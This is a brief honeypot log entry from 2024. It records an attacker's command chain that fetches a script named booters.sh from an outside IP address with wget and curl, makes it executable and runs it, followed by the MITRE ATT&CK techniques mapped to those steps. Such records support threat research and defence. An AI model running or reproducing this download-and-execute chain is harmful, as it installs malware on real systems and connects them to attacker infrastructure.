Honeypot attack session (period 2024), commands issued:
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; busybox wget http://141.98.10.76/booters.sh; wget http://141.98.10.76/booters.sh; curl -O http://141.98.10.76/booters.sh; chmod 777 booters.sh; sh booters.sh

MITRE ATT&CK techniques observed:
T1083 File and Directory Discovery
T1059 Command and Scripting Interpreter
T1105 Ingress Tool Transfer
T1222 File and Directory Permissions Modification
T1059 Command and Scripting Interpreter